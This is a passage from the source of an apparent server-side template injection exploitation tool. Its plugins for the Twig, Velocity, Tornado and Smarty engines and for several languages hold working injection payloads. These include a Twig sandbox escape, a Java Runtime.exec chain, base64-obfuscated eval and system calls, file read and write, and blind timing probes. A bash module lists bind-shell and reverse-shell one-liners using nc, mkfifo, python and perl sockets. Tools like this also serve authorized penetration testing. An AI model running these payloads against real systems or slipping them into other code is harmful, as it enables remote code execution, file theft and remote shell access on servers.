'evaluate_blind' : { 32 | 'call': 'inject', 33 | 'evaluate_blind': """{php}$d="%(code_b64)s";eval("return (" . base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)) . ") && sleep(%(delay)i);");{/php}""" 34 | }, 35 | 'execute_blind' : { 36 | 'call': 'inject', 37 | 'execute_blind': """{php}$d="%(code_b64)s";system(base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)). " && sleep %(delay)i");{/php}""" 38 | }, 39 | 40 | }) 41 | 42 | self.set_contexts([ 43 | 44 | # Text context, no closures 45 | { 'level': 0 }, 46 | 47 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '{', 'closures' : php.ctx_closures }, 48 | 49 | # {config_load file="missing_file"} raises an exception 50 | 51 | # Escape Ifs 52 | { 'level': 5, 'prefix': '%(closure)s}{/if}{if 1}', 'suffix' : '', 'closures' : php.ctx_closures }, 53 | 54 | # Escape {assign var="%s" value="%s"} 55 | { 'level': 5, 'prefix': '%(closure)s var="" value=""}{assign var="" value=""}', 'suffix' : '', 'closures' : php.ctx_closures }, 56 | 57 | # Comments 58 | { 'level': 5, 'prefix': '*}', 'suffix' : '{*' }, 59 | 60 | ]) -------------------------------------------------------------------------------- /plugins/engines/tornado.py: -------------------------------------------------------------------------------- 1 | from plugins.languages import python 2 | from utils.loggers import log 3 | from utils import rand 4 | import re 5 | 6 | class Tornado(python.Python): 7 | 8 | def init(self): 9 | 10 | self.update_actions({ 11 | 'render' : { 12 | 'render': '{{%(code)s}}', 13 | 'header': '{{%(header)s}}', 14 | 'trailer': '{{%(trailer)s}}', 15 | 'test_render': """'%(s1)s'}}{%% raw '%(s1)s'.join('%(s2)s') %%}{{'%(s2)s'""" % { 16 | 's1' : rand.randstrings[0], 17 | 's2' : rand.randstrings[1] 18 | }, 19 | 'test_render_expected': '%(res)s' % { 20 | 'res' : rand.randstrings[0] + rand.randstrings[0].join(rand.randstrings[1]) + rand.randstrings[1] 21 | } 22 | } 23 | }) 24 | 25 | self.set_contexts([ 26 | 27 | # Text context, no closures 28 | { 'level': 0 }, 29 | 30 | # This covers {{%s}} 31 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '', 'closures' : python.ctx_closures }, 32 | 33 | # This covers {% %s %} 34 | { 'level': 1, 'prefix': '%(closure)s%%}', 'suffix' : '', 'closures' : python.ctx_closures }, 35 | 36 | # Comment blocks 37 | { 'level': 5, 'prefix' : '#}', 'suffix' : '{#' }, 38 | ]) 39 | -------------------------------------------------------------------------------- /plugins/engines/twig.py: -------------------------------------------------------------------------------- 1 | from utils.loggers import log 2 | from plugins.languages import php 3 | from plugins.languages import bash 4 | from utils import rand 5 | import string 6 | 7 | class Twig(php.Php): 8 | 9 | def init(self): 10 | 11 | # The vulnerable versions <1.20.0 allows to map the getFilter() function 12 | # to any PHP function, allowing the sandbox escape. 13 | 14 | # Only functions with 1 parameter can be mapped and eval()/assert() functions are not 15 | # allowed. For this reason, most of the stuff is done by exec() insted of eval()-like code. 16 | 17 | self.update_actions({ 18 | 'render' : { 19 | 'render': '{{%(code)s}}', 20 | 'header': '{{%(header)s}}', 21 | 'trailer': '{{%(trailer)s}}', 22 | # {{7*'7'}} and a{#b#}c work in freemarker as well 23 | # {%% set a=%i*%i %%}{{a}} works in Nunjucks as well 24 | 'test_render': '"%(s1)s\n"|nl2br' % { 25 | 's1' : rand.randstrings[0] 26 | }, 27 | 'test_render_expected': '%(res)s
' % { 28 | 'res' : rand.randstrings[0] 29 | } 30 | }, 31 | 'write' : { 32 | 'call' : 'inject', 33 | 'write' : """{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c '{tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s'")}}""", 34 | 'truncate' : """{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("echo -n >%(path)s")}}""" 35 | }, 36 | # Hackish way to evaluate PHP code 37 | 'evaluate' : { 38 | 'call': 'execute', 39 | 'evaluate': """php -r '$d="%(code_b64)s";eval(base64_decode(str_pad(strtr($d,"-_","+/"),strlen($d)%%4,"=",STR_PAD_RIGHT)));'""", 40 | 'test_os' : 'echo PHP_OS;', 41 | 'test_os_expected': '^[\w-]+$' 42 | }, 43 | 'execute' : { 44 | 'call': 'render', 45 | 'execute': """_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c '{eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}'")""", 46 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] }, 47 | 'test_cmd_expected': rand.randstrings[2] 48 | }, 49 | 'execute_blind' : { 50 | 'call': 'inject', 51 | 'execute_blind': """{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c '{eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}'")}}""" 52 | }, 53 | 'evaluate_blind' : { 54 | 'call': 'execute', 55 | 'evaluate_blind': """php -r '$d="%(code_b64)s";eval("return (" . base64_decode(str_pad(strtr($d, "-_", "+/"), strlen($d)%%4,"=",STR_PAD_RIGHT)) . ") && sleep(%(delay)i);");'""" 56 | }, 57 | }) 58 | 59 | self.set_contexts([ 60 | 61 | # Text context, no closures 62 | { 'level': 0 }, 63 | 64 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '{{1', 'closures' : php.ctx_closures }, 65 | { 'level': 1, 'prefix': '%(closure)s %%}', 'suffix' : '', 'closures' : php.ctx_closures }, 66 | { 'level': 5, 'prefix': '%(closure)s %%}{%% endfor %%}{%% for a in [1] %%}', 'suffix' : '', 'closures' : php.ctx_closures }, 67 | 68 | # This escapes string "inter#{"asd"}polation" 69 | #{ 'level': 5, 'prefix': '%(closure)s}', 'suffix' : '', 'closures' : php.ctx_closures }, 70 | 71 | # This escapes string {% set %s = 1 %} 72 | { 'level': 5, 'prefix': '%(closure)s = 1 %%}', 'suffix' : '', 'closures' : php.ctx_closures }, 73 | 74 | ]) 75 | -------------------------------------------------------------------------------- /plugins/engines/velocity.py: -------------------------------------------------------------------------------- 1 | from utils.loggers import log 2 | from plugins.languages import java 3 | from utils import rand 4 | from utils.strings import quote 5 | import re 6 | 7 | class Velocity(java.Java): 8 | 9 | def init(self): 10 | 11 | self.update_actions({ 12 | 'render' : { 13 | 'render': '%(code)s', 14 | 'header': '\n#set($h=%(header)s)\n${h}\n', 15 | 'trailer': '\n#set($t=%(trailer)s)\n${t}\n', 16 | 'test_render': '#set($c=%(n1)s*%(n2)s)\n${c}\n' % { 17 | 'n1' : rand.randints[0], 18 | 'n2' : rand.randints[1] 19 | }, 20 | 'test_render_expected': '%(res)s' % { 21 | 'res' : rand.randints[0]*rand.randints[1] 22 | } 23 | }, 24 | 'write' : { 25 | 'call' : 'inject', 26 | 'write' : """#set($engine="") 27 | #set($run=$engine.getClass().forName("java.lang.Runtime")) 28 | #set($runtime=$run.getRuntime()) 29 | #set($proc=$runtime.exec("bash -c {tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s")) 30 | #set($null=$proc.waitFor()) 31 | #set($istr=$proc.getInputStream()) 32 | #set($chr=$engine.getClass().forName("java.lang.Character")) 33 | #set($output="") 34 | #set($string=$engine.getClass().forName("java.lang.String")) 35 | #foreach($i in [1..$istr.available()]) 36 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) 37 | #end 38 | ${output} 39 | """, 40 | 'truncate' : """#set($engine="") 41 | #set($run=$engine.getClass().forName("java.lang.Runtime")) 42 | #set($runtime=$run.getRuntime()) 43 | #set($proc=$runtime.exec("bash -c {echo,-n,}>%(path)s")) 44 | #set($null=$proc.waitFor()) 45 | #set($istr=$proc.getInputStream()) 46 | #set($chr=$engine.getClass().forName("java.lang.Character")) 47 | #set($output="") 48 | #set($string=$engine.getClass().forName("java.lang.String")) 49 | #foreach($i in [1..$istr.available()]) 50 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) 51 | #end 52 | ${output} 53 | """ 54 | }, 55 | 'execute' : { 56 | 57 | # This payload cames from henshin's contribution on 58 | # issue #9. 59 | 60 | 'call': 'render', 61 | 'execute': """#set($engine="") 62 | #set($run=$engine.getClass().forName("java.lang.Runtime")) 63 | #set($runtime=$run.getRuntime()) 64 | #set($proc=$runtime.exec("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}")) 65 | #set($null=$proc.waitFor()) 66 | #set($istr=$proc.getInputStream()) 67 | #set($chr=$engine.getClass().forName("java.lang.Character")) 68 | #set($output="") 69 | #set($string=$engine.getClass().forName("java.lang.String")) 70 | #foreach($i in [1..$istr.available()]) 71 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) 72 | #end 73 | ${output} 74 | """ 75 | }, 76 | 'execute_blind' : { 77 | 'call': 'inject', 78 | 'execute_blind': """#set($engine="") 79 | #set($run=$engine.getClass().forName("java.lang.Runtime")) 80 | #set($runtime=$run.getRuntime()) 81 | #set($proc=$runtime.exec("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}")) 82 | #set($null=$proc.waitFor()) 83 | #set($istr=$proc.getInputStream()) 84 | #set($chr=$engine.getClass().forName("java.lang.Character")) 85 | #set($output="") 86 | #set($string=$engine.getClass().forName("java.lang.String")) 87 | #foreach($i in [1..$istr.available()]) 88 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) 89 | #end 90 | ${output} 91 | """ 92 | } 93 | }) 94 | 95 | self.set_contexts([ 96 | 97 | # Text context, no closures 98 | { 'level': 0 }, 99 | 100 | { 'level': 1, 'prefix': '%(closure)s)', 'suffix' : '', 'closures' : java.ctx_closures }, 101 | 102 | # This catches 103 | # #if(%s == 1)\n#end 104 | # #foreach($item in %s)\n#end 105 | # #define( %s )a#end 106 | { 'level': 3, 'prefix': '%(closure)s#end#if(1==1)', 'suffix' : '', 'closures' : java.ctx_closures }, 107 | { 'level': 5, 'prefix': '*#', 'suffix' : '#*' }, 108 | 109 | ]) -------------------------------------------------------------------------------- /plugins/languages/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/tplmap/616b0e527f62dd0930e6346ede6bef79e9bcf717/plugins/languages/__init__.py -------------------------------------------------------------------------------- /plugins/languages/bash.py: -------------------------------------------------------------------------------- 1 | 2 | printf = """printf '%(s1)s'""" 3 | 4 | bind_shell = [ 5 | """python -c 'import pty,os,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("", %(port)s));s.listen(1);(rem, addr) = s.accept();os.dup2(rem.fileno(),0);os.dup2(rem.fileno(),1);os.dup2(rem.fileno(),2);pty.spawn("%(shell)s");s.close()'""", 6 | """nc -l -p %(port)s -e %(shell)s""", 7 | """rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|%(shell)s -i 2>&1|nc -l %(port)s >/tmp/f; rm -rf /tmp/f""", 8 | """socat tcp-l:%(port)s exec:%(shell)s""" 9 | ] 10 | 11 | reverse_shell = [ 12 | """sleep 1; rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|%(shell)s -i 2>&1|nc %(host)s %(port)s >/tmp/f""", 13 | """sleep 1; nc -e %(shell)s %(host)s %(port)s""", 14 | """sleep 1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%(host)s",%(port)s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["%(shell)s","-i"]);'""", 15 | "sleep 1; /bin/bash -c \'%(shell)s 0&0 2>&0\'", 16 | """perl -e 'use Socket;$i="%(host)s";$p=%(port)s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("%(shell)s -i");};'""", 17 | # TODO: ruby payload's broken, fix it. 18 | # """ruby -rsocket -e'f=TCPSocket.open("%(host)s",%(port)s).to_i;exec sprintf("%(shell)s -i <&%%d >&%%d 2>&%%d",f,f,f)'""", 19 | """sleep 1; python -c 'import socket,pty,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%(host)s",%(port)s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("%(shell)s");'""", 20 | ] 21 | -------------------------------------------------------------------------------- /plugins/languages/java.py: -------------------------------------------------------------------------------- 1 | from core.plugin import Plugin 2 | from plugins.languages import bash 3 | from utils import closures 4 | from utils import rand 5 | import re 6 | 7 | class Java(Plugin): 8 | 9 | def language_init(self): 10 | 11 | self.update_actions({ 12 | 13 | 'execute' : { 14 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] }, 15 | 'test_cmd_expected': rand.randstrings[2], 16 | 'test_os' : """uname""", 17 | 'test_os_expected': '^[\w-]+$' 18 | }, 19 | 20 | 'read' : { 21 | 'call': 'execute', 22 | 'read' : """base64<'%(path)s'""" 23 | }, 24 | 'md5' : { 25 | 'call': 'execute', 26 | 'md5': """$(type -p md5 md5sum)<'%(path)s'|head -c 32""" 27 | }, 28 | # Prepared to used only for blind detection. Not useful for time-boolean 29 | # tests (since && characters can\'t be used) but enough for the detection phase. 30 | 'blind' : { 31 | 'call': 'execute_blind', 32 | 'test_bool_true' : 'true', 33 | 'test_bool_false' : 'false' 34 | }, 35 | 'bind_shell' : { 36 | 'call' : 'execute_blind', 37 | 'bind_shell': bash.bind_shell 38 | }, 39 | 'reverse_shell' : { 40 | 'call': 'execute_blind', 41 | 'reverse_shell' : bash.reverse_shell 42 | } 43 | }) 44 | 45 | language = 'java' 46 | 47 | def rendered_detected(self): 48 | 49 | # Java has no eval() function, hence the checks are done using 50 | # the command execution action. 51 | 52 | test_cmd_code = self.actions.get('execute', {}).get('test_cmd') 53 | test_cmd_code_expected = self.actions.get('execute', {}).get('test_cmd_expected') 54 | 55 | if ( 56 | test_cmd_code and 57 | test_cmd_code_expected and 58 | test_cmd_code_expected == self.execute(test_cmd_code) 59 | ): 60 | self.set('execute', True) 61 | self.set('write', True) 62 | self.set('read', True) 63 | self.set('bind_shell', True) 64 | self.set('reverse_shell', True) 65 | 66 | test_os_code = self.actions.get('execute', {}).get('test_os') 67 | test_os_code_expected = self.actions.get('execute', {}).get('test_os_expected') 68 | 69 | if test_os_code and test_os_code_expected: 70 | 71 | os = self.execute(test_os_code) 72 | if os and re.search(test_os_code_expected, os): 73 | self.set('os', os) 74 | 75 | def blind_detected(self): 76 | 77 | # No blind code evaluation is possible here, only execution 78 | 79 | # Since execution has been used to detect blind injection, 80 | # let's assume execute_blind as set. 81 | self.set('execute_blind', True) 82 | self.set('write', True) 83 | self.set('bind_shell', True) 84 | self.set('reverse_shell', True) 85 | 86 | 87 | ctx_closures = { 88 | 1: [ 89 | closures.close_single_duble_quotes + closures.integer, 90 | closures.close_function + closures.empty 91 | ], 92 | 2: [ 93 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var, 94 | closures.close_function + closures.empty 95 | ], 96 | 3: [ 97 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var, 98 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 99 | ], 100 | 4: [ 101 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var, 102 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 103 | ], 104 | 5: [ 105 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var + closures.iterable_var, 106 | closures.close_function + closures.close_list + closures.close_dict + closures.empty, 107 | closures.close_function + closures.close_list + closures.empty, 108 | ] 109 | } 110 | -------------------------------------------------------------------------------- /plugins/languages/javascript.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote, chunkit, md5 2 | from utils.loggers import log 3 | from plugins.languages import bash 4 | from utils import closures 5 | from core.plugin import Plugin 6 | from utils import rand 7 | import base64 8 | import re 9 | 10 | 11 | class Javascript(Plugin): 12 | 13 | def language_init(self): 14 | 15 | self.update_actions({ 16 | 'render' : { 17 | 'call': 'inject', 18 | 'render': """%(code)s""", 19 | 'header': """'%(header)s'+""", 20 | 'trailer': """+'%(trailer)s'""", 21 | 'test_render': 'typeof(%(r1)s)+%(r2)s' % { 22 | 'r1' : rand.randints[0], 23 | 'r2' : rand.randints[1] 24 | }, 25 | 'test_render_expected': 'number%(r2)s' % { 26 | 'r2' : rand.randints[1] 27 | } 28 | }, 29 | # No evaluate_blind here, since we've no sleep, we'll use inject 30 | 'write' : { 31 | 'call' : 'inject', 32 | 'write' : """require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')//""", 33 | 'truncate' : """require('fs').writeFileSync('%(path)s', '')""" 34 | }, 35 | 'read' : { 36 | 'call': 'render', 37 | 'read' : """require('fs').readFileSync('%(path)s').toString('base64')""" 38 | }, 39 | 'md5' : { 40 | 'call': 'render', 41 | 'md5': """require('crypto').createHash('md5').update(require('fs').readFileSync('%(path)s')).digest("hex")""" 42 | }, 43 | 'evaluate' : { 44 | 'call': 'render', 45 | 'evaluate': """eval(Buffer('%(code_b64)s', 'base64').toString())""", 46 | 'test_os': """require('os').platform()""", 47 | 'test_os_expected': '^[\w-]+$', 48 | }, 49 | 'blind' : { 50 | 'call': 'execute_blind', 51 | 'test_bool_true' : 'true', 52 | 'test_bool_false' : 'false' 53 | }, 54 | # Not using execute here since it's rendered and requires set headers and trailers 55 | 'execute_blind' : { 56 | 'call': 'inject', 57 | # execSync() has been introduced in node 0.11, so this will not work with old node versions. 58 | # TODO: use another function. 59 | 'execute_blind': """require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')//""" 60 | }, 61 | 'execute' : { 62 | 'call': 'render', 63 | 'execute': """require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())""", 64 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] }, 65 | 'test_cmd_expected': rand.randstrings[2] 66 | }, 67 | 'bind_shell' : { 68 | 'call' : 'execute_blind', 69 | 'bind_shell': bash.bind_shell 70 | }, 71 | 'reverse_shell' : { 72 | 'call': 'execute_blind', 73 | 'reverse_shell' : bash.reverse_shell 74 | } 75 | }) 76 | 77 | self.set_contexts([ 78 | 79 | # Text context, no closures 80 | { 'level': 0 }, 81 | 82 | # This terminates the statement with ; 83 | { 'level': 1, 'prefix' : '%(closure)s;', 'suffix' : '//', 'closures' : ctx_closures }, 84 | 85 | # This does not need termination e.g. if(%s) {} 86 | { 'level': 2, 'prefix' : '%(closure)s', 'suffix' : '//', 'closures' : ctx_closures }, 87 | 88 | # Comment blocks 89 | { 'level': 5, 'prefix' : '*/', 'suffix' : '/*' }, 90 | 91 | ]) 92 | 93 | language = 'javascript' 94 | 95 | ctx_closures = { 96 | 1: [ 97 | closures.close_single_duble_quotes + closures.integer, 98 | closures.close_function + closures.empty 99 | ], 100 | 2: [ 101 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 102 | closures.close_function + closures.empty 103 | ], 104 | 3: [ 105 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 106 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 107 | ], 108 | 4: [ 109 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 110 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 111 | ], 112 | 5: [ 113 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 114 | closures.close_function + closures.close_list + closures.close_dict + closures.empty, 115 | closures.close_function + closures.close_list + closures.empty, 116 | ], 117 | } 118 | 119 | -------------------------------------------------------------------------------- /plugins/languages/php.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote, chunkit, md5 2 | from utils.loggers import log 3 | from plugins.languages import bash 4 | from core.plugin import Plugin 5 | from utils import closures 6 | from utils import rand 7 | import base64 8 | import re 9 | 10 | 11 | class Php(Plugin): 12 | 13 | 14 | def language_init(self): 15 | 16 | self.update_actions({ 17 | 'render' : { 18 | 'call': 'inject', 19 | 'render': """%(code)s""", 20 | 'header': """print_r('%(header)s');""", 21 | 'trailer': """print_r('%(trailer)s');""", 22 | 'test_render': 'print(%(r1)s);' % { 23 | 'r1' : rand.randints[0] 24 | }, 25 | 'test_render_expected': '%(r1)s' % { 26 | 'r1' : rand.randints[0] 27 | } 28 | }, 29 | 'write' : { 30 | 'call' : 'evaluate', 31 | 'write' : """$d="%(chunk_b64)s"; file_put_contents("%(path)s", base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)),FILE_APPEND);""", 32 | 'truncate' : """file_put_contents("%(path)s", "");""" 33 | }, 34 | 'read' : { 35 | 'call': 'evaluate', 36 | 'read' : """print(base64_encode(file_get_contents("%(path)s")));""" 37 | }, 38 | 'md5' : { 39 | 'call': 'evaluate', 40 | 'md5': """is_file("%(path)s") && print(md5_file("%(path)s"));""" 41 | }, 42 | 'evaluate' : { 43 | 'call': 'render', 44 | 'evaluate': """%(code)s""", 45 | 'test_os' : 'echo PHP_OS;', 46 | 'test_os_expected': '^[\w-]+$' 47 | }, 48 | 'execute' : { 49 | 'call': 'evaluate', 50 | 'execute': """$d="%(code_b64)s";system(base64_decode(str_pad(strtr($d,'-_','+/'),strlen($d)%%4,'=',STR_PAD_RIGHT)));""", 51 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] }, 52 | 'test_cmd_expected': rand.randstrings[2] 53 | }, 54 | 'blind' : { 55 | 'call': 'evaluate_blind', 56 | 'test_bool_true' : """True""", 57 | 'test_bool_false' : """False""" 58 | }, 59 | 'evaluate_blind' : { 60 | 'call': 'inject', 61 | 'evaluate_blind': """$d="%(code_b64)s";eval("return (" . base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)) . ") && sleep(%(delay)i);");""" 62 | }, 63 | 'execute_blind' : { 64 | 'call': 'inject', 65 | 'execute_blind': """$d="%(code_b64)s";system(base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)). " && sleep %(delay)i");""" 66 | }, 67 | 'bind_shell' : { 68 | 'call' : 'execute_blind', 69 | 'bind_shell': bash.bind_shell 70 | }, 71 | 'reverse_shell' : { 72 | 'call': 'execute_blind', 73 | 'reverse_shell' : bash.reverse_shell 74 | }, 75 | }) 76 | 77 | self.set_contexts([ 78 | 79 | # Text context, no closures 80 | { 'level': 0 }, 81 | 82 | # This terminates the statement with ; 83 | { 'level': 1, 'prefix' : '%(closure)s;', 'suffix' : '//', 'closures' : ctx_closures }, 84 | 85 | # This does not need termination e.g. if(%s) {} 86 | { 'level': 2, 'prefix' : '%(closure)s', 'suffix' : '//', 'closures' : ctx_closures }, 87 | 88 | # Comment blocks 89 | { 'level': 5, 'prefix' : '*/', 'suffix' : '/*' }, 90 | 91 | ]) 92 | 93 | language = 'php' 94 | 95 | 96 | ctx_closures = { 97 | 1: [ 98 | closures.close_single_duble_quotes + closures.integer, 99 | closures.close_function + closures.empty 100 | ], 101 | 2: [ 102 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 103 | closures.close_function + closures.empty 104 | ], 105 | 3: [ 106 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 107 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 108 | ], 109 | 4: [ 110 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 111 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 112 | ], 113 | 5: [ 114 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 115 | closures.close_function + closures.close_list + closures.close_dict + closures.empty, 116 | closures.close_function + closures.close_list + closures.empty, 117 | ] 118 | } 119 | -------------------------------------------------------------------------------- /plugins/languages/python.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from core.plugin import Plugin 3 | from utils import closures 4 | from plugins.languages import bash 5 | from utils.loggers import log 6 | from utils import rand 7 | import base64 8 | import re 9 | 10 | class Python(Plugin): 11 | 12 | def language_init(self): 13 | 14 | self.update_actions({ 15 | 'render' : { 16 | 'render': """str(%(code)s)""", 17 | 'header': """'%(header)s'+""", 18 | 'trailer': """+'%(trailer)s'""", 19 | 'test_render': """'%(s1)s'.join('%(s2)s')""" % { 20 | 's1' : rand.randstrings[0], 21 | 's2' : rand.randstrings[1] 22 | }, 23 | 'test_render_expected': '%(res)s' % { 24 | 'res' : rand.randstrings[0].join(rand.randstrings[1]) 25 | } 26 | }, 27 | 'write' : { 28 | 'call' : 'evaluate', 29 | 'write' : """open("%(path)s", 'ab+').write(__import__("base64").urlsafe_b64decode('%(chunk_b64)s'))""", 30 | 'truncate' : """open("%(path)s", 'w').close()""" 31 | }, 32 | 'read' : { 33 | 'call': 'evaluate', 34 | 'read' : """__import__("base64").b64encode(open("%(path)s", "rb").read())""" 35 | }, 36 | 'md5' : { 37 | 'call': 'evaluate', 38 | 'md5': """__import__("hashlib").md5(open("%(path)s", 'rb').read()).hexdigest()""" 39 | }, 40 | 'evaluate' : { 41 | 'call': 'render', 42 | 'evaluate': """%(code)s""", 43 | 'test_os': """'-'.join([__import__('os').name, __import__('sys').platform])""", 44 | 'test_os_expected': '^[\w-]+$' 45 | }, 46 | 'execute' : { 47 | 'call': 'evaluate', 48 | 'execute': """__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode()).read()""", 49 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] }, 50 | 'test_cmd_expected': rand.randstrings[2] 51 | }, 52 | 'blind' : { 53 | 'call': 'evaluate_blind', 54 | 'test_bool_true' : """'a'.join('ab') == 'aab'""", 55 | 'test_bool_false' : 'True == False' 56 | }, 57 | 'evaluate_blind' : { 58 | 'call': 'evaluate', 59 | 'evaluate_blind': """eval(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode()) and __import__('time').sleep(%(delay)i)""" 60 | }, 61 | 'bind_shell' : { 62 | 'call' : 'execute_blind', 63 | 'bind_shell': bash.bind_shell 64 | }, 65 | 'reverse_shell' : { 66 | 'call': 'execute_blind', 67 | 'reverse_shell' : bash.reverse_shell 68 | }, 69 | 'execute_blind' : { 70 | 'call': 'evaluate', 71 | 'execute_blind': """__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode() + ' && sleep %(delay)i').read()""" 72 | }, 73 | }) 74 | 75 | self.set_contexts([ 76 | 77 | # Text context, no closures 78 | { 'level': 0 }, 79 | 80 | # Code context escape with eval() injection is not easy, since eval is used to evaluate a single 81 | # dynamically generated Python expression e.g. eval("""1;print 1"""); would fail. 82 | 83 | # TODO: the plugin should support the exec() injections, which can be assisted by code context escape 84 | 85 | ]) 86 | 87 | language = 'python' 88 | 89 | 90 | ctx_closures = { 91 | 1: [ 92 | closures.close_single_duble_quotes + closures.integer, 93 | closures.close_function + closures.empty 94 | ], 95 | 2: [ 96 | closures.close_single_duble_quotes + closures.integer + closures.string, 97 | closures.close_function + closures.empty 98 | ], 99 | 3: [ 100 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.close_triple_quotes, 101 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 102 | ], 103 | 4: [ 104 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.close_triple_quotes, 105 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 106 | ], 107 | 5: [ 108 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.close_triple_quotes, 109 | closures.close_function + closures.close_list + closures.close_dict + closures.empty, 110 | closures.close_function + closures.close_list + closures.empty, 111 | closures.if_loops + closures.empty 112 | ], 113 | } 114 | 115 | -------------------------------------------------------------------------------- /plugins/languages/ruby.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from core.plugin import Plugin 3 | from plugins.languages import bash 4 | from utils.loggers import log 5 | from utils import rand 6 | import base64 7 | import re 8 | 9 | class Ruby(Plugin): 10 | 11 | def language_init(self): 12 | 13 | self.update_actions({ 14 | 'render' : { 15 | 'render': '"#{%(code)s}"', 16 | 'header': """'%(header)s'+""", 17 | 'trailer': """+'%(trailer)s'""", 18 | 'test_render': """%(s1)i*%(s2)i""" % { 19 | 's1' : rand.randints[0], 20 | 's2' : rand.randints[1] 21 | }, 22 | 'test_render_expected': '%(res)s' % { 23 | 'res' : rand.randints[0]*rand.randints[1] 24 | } 25 | }, 26 | 'write' : { 27 | 'call' : 'inject', 28 | 'write': """require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) }""", 29 | 'truncate' : """File.truncate('%(path)s', 0)""" 30 | }, 31 | 'read' : { 32 | 'call': 'evaluate', 33 | 'read': """(require'base64';Base64.encode64(File.binread("%(path)s"))).to_s""", 34 | }, 35 | 'md5' : { 36 | 'call': 'evaluate', 37 | 'md5': """(require'digest';Digest::MD5.file("%(path)s")).to_s""" 38 | }, 39 | 'evaluate' : { 40 | 'call': 'render', 41 | 'evaluate': """%(code)s""", 42 | 'test_os' : """RUBY_PLATFORM""", 43 | 'test_os_expected': '^[\w._-]+$' 44 | }, 45 | 'execute' : { 46 | 'call': 'evaluate', 47 | 'execute': """(require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')})).to_s""", 48 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] }, 49 | 'test_cmd_expected': rand.randstrings[2] 50 | }, 51 | 'blind' : { 52 | 'call': 'evaluate_blind', 53 | 'test_bool_true' : """1.to_s=='1'""", 54 | 'test_bool_false' : """1.to_s=='2'""" 55 | }, 